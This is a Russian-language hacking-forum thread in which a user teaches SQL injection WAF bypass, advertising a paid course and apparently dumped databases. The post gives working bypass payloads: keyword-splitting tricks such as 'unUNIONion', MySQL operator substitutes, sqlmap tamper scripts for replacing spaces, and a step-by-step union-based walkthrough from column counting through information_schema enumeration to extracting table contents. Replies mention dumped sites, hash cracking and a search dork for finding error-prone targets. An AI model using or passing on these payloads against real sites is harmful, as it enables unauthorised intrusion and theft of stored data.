Загрузка...

SQL INJECTION from beginner to pro (Lesson Three) waf bypass

Thread in Web vulnerabilities created by pentest Mar 6, 2023. (bumped Aug 20, 2023) 1936 views

  1. pentest
    pentest Topic starter Mar 6, 2023 Banned
    Приветствую вас на своем третьем уроке по SQL INJECTION.В этом уроке я расскажу вам про WAF и способы его обойти.А перед этим небольшая рекламка:
    мой курс по sql inj - https://zelenka.guru/threads/5012873/
    мое облако с базами - https://zelenka.guru/threads/5029036/

    Для начало стоит понимать , что WAF это некое средство защиты для сайта , которое проверяет входящие запросы и фильтрует их.Также разработчик может поставить свои фильтры с помощью PHP кода и регулярных выражений.То есть в чем задача разработчика , он знает , что хакер использует такие ключевые выражения как:union,select,database,or,and И тому подобное.Проще всего показать суть задачи разраба в текстовом редакторе...
    [IMG]
    То есть заменяем эти слова на пустоту без учета регистра.
    [IMG]
    То есть получается вот такая "полезная" нагрузка , которая не сработает:podumai:
    Но представим , что разработчик кривой и забыл указать , что без учета регистра заменять.То есть вот так!
    [IMG]
    Тогда мы можем просто написать uNion Select Database , ВЕДЬ SQL язык регистронезавимый.Ну ладно , это не интересно.Давайте перейдем к случаю , если регистр отсутствует.
    Тогда мы можем обойти этот фильтр.То есть , что происходит удаляются слова , верно ? Значит мы можем по сути разбить одно ключевое слово на два и всунуть между ними полное слово.Тогда полное слово заменится на пустоту , произойдет конкатенация ( объединение) строк и запрос сработает.То есть например вот так:
    [IMG]
    И вот что будет:
    [IMG]
    То есть запрос сработает.Мы обошли фильтр:)
    Полезно знать также аналог дефолтного синтаксиса вашей СУБД ( у меня MySql) НАПРИМЕР
    or = ||
    and = %26%26
    -- - = ;0x00
    database = schema
    И если наш запрос не срабатывает , то просто меняем синтаксис нашего запроса:kidrun:
    Но что делать , если разраб просто запретит использовать пробелы.По сути мы можем использовать sqlmap tamper для обхода WAF , просто подобрав нужный с помощью софта atlas или любого другого , но они не совсем корректно показывают какие тамперы срабатывают , а какие нет.Поэтому нужно учиться самостоятельно.Аналоги пробелов:
    appendnullbyte.py

    Function: Space ==> %00
    bluecoat.py

    Function: Space ==> %09
    halfversionedmorekeywords.py

    Function: Space ==> /*!0
    space2comment.py

    Function: Space ==> /**/
    space2dash.py

    Function: Space==> -nVNaVoPYeva% 0A

    Platform:MSSQL、SQLite
    space2mssqlblank.py

    Function: Space ==> %23%0A
    Platform: Mssql、Mysql

    space2mysqlblank.py

    Function: Space ==> %2B, %0D, %0C
    Platform: Mysql5.1

    space2mysqldash.py

    Function: Space==> –%0A

    Platform: Mssql、Mysql

    Вообщем вариантом куча.

    Погнали к практике :pepego:
    [IMG]
    Допустим есть вот такой сайтик и уязвимость в GET параметре.Введем одинарную кавычку , чтобы убедиться в этом:)
    [IMG]
    Попробуем определить кол-во колонок и заодно обрамление , кто не знает , что такое обрамление читайте предыдущую мою статью.Вводим в уязвимый параметр
    SQL
    'order by 1,2,3,4,5,6,7,8 -- -
    можно больше цифр.
    [IMG]
    Что я могу сказать , что блокируется оператор or.Попробуем поменять регистр на Or.
    [IMG]
    Опять мимо.Значит делаем загрузку по-другому 'ooRrder by 1,2,3,4,5,6,7,8 -- -
    [IMG]

    Мы обошли фильтр , но полезная нагрузка не отработала , т.к обрамление подобрано неверно.Меняем запрос на
    SQL
    ') ooRrder by 1,2,3,4,5,6,7,8 -- -

    [IMG]
    Отлично.Что мы узнали?Во первых для всех последующих запросов обрамление будет ') И бд содержит одну колонку , а также блокируется оператор or.
    Теперь давайте определим название бд.Попробуем вот так:
    ') union select database() -- -
    [IMG]
    union тоже блочится.Меняем запрос
    SQL
    ') unUNIONion select database() -- -

    [IMG]
    Попробуем определить название таблиц.Как мы знаем union и or ЗАПРЕЩЕНЫ.Поэтому составляем вот такой запрос
    SQL
    ') unUNIONion select table_name from infoorrmation_schema.tables where table_schema = 'Grisha' -- -

    Если таблиц больше одной , то добавляем limit , Т.К одну таблицу мы получили , то вторую можем получить вот так
    SQL
    ') unUNIONion select table_name from infoorrmation_schema.tables where table_schema = 'Grisha' limit 1,1 -- -

    Теперь можно получить и название этой одной колонки...
    SQL
    ') unUNIONion select column_name from infoORrmation_schema.columns where table_name = 'oORrbuz' -- -

    [IMG]
    у нас есть название бд , таблицы , колонки.Теперь можно и забрать содержимое:)
    SQL
    ') unUNIONion select id from Grisha.oORrbuz  limit 0,1  -- -

    Что мы узнали для техники UNION:
    1)С помощью order by МЫ определяем кол-во колонок в запросе , которые будут использоваться , а в таблице их может быть хоть 100
    2)Кол-во колонок должно совпадать для UNION , если два , то два меньше или больше нельзя , будет ошибка
    3)UNION имеет непредсказуемый вывод и может меняться параметр где угодно
    [IMG]

    Если вам понравилась статья , то пишите отзывы буду рад прочитать:stonks_up:
    [IMG]
     
  2. galakt1k
    galakt1k Mar 10, 2023 BUY NETFLIX lolz.live/threads/7571821 1124 Mar 18, 2021
    Я один не выкупил зачем оно нужно? Можно в крации пж)
     
    1. View previous comments (1)
    2. renameduser_4957761
      алвейсванафлай, ох, я вижу тут все серьёзно, шифры, я наверное пойду, пока меня не арестовали
  3. Stasi
    Stasi Mar 10, 2023 10,332 Dec 12, 2017
    Имхо мертвая тема уже, на новых сайта нереально найти sql уязвимости, а старые сдамплены 500 раз. Плюс на новых сайтах стоит шифрование sha, которое только втупую ****ом расшифровывать, а этом слишком затратно по времени и может вообще не дать результата
     
    1. Andrey_Gay222
      Stasi, Что тогда сейчас актуально?
    2. Xstage
      Stasi, в топах хакервана висит скл ;/ так что не прям уж мертвая
  4. karpishuk
    karpishuk Jan 12, 2024 0 Jun 11, 2018
    а представляете как хорошо жилось если бы было вот так inurl:id=1' intittle:error
     
Loading...
Top